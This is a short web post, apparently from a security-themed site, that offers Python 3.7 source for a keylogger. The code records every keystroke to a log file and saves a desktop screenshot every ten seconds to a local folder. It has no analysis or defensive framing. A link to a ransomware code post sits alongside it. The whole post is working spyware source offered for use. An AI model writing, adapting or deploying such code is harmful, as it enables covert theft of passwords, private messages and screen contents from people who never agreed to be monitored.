Keylogger code written for python 3.7 takes snapshot of the desktop every 10 seconds

Start
import pynput
from pynput.keyboard import Key, Listener
import logging
from datetime import datetime
import os
import time
from mss import mss

# Set the directory to store the log file
log_directory = '/home/rocheston/Downloads/'

# Create a function to capture the keystrokes
def on_press(key):
    logging.basicConfig(filename=(log_directory + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
    logging.info(str(key)) 

# Create a function to take screenshot every 10 seconds
def screenshot():
    while True:
        filename = log_directory + datetime.now().strftime("Screenshot %Y-%m-%d %H.%M.%S.png")
        with mss() as sct:
            sct.shot(output=filename)
        time.sleep(10)

# Collect events until released
with Listener(on_press=on_press) as listener:
    screenshot()
    listener.join()
Previous Story

S3 Ep118: Guess your password? No need if it’s stolen already! [Audio + Text]

Next Story

Simple Ransomware python code that infects a target directory with 2048 encryption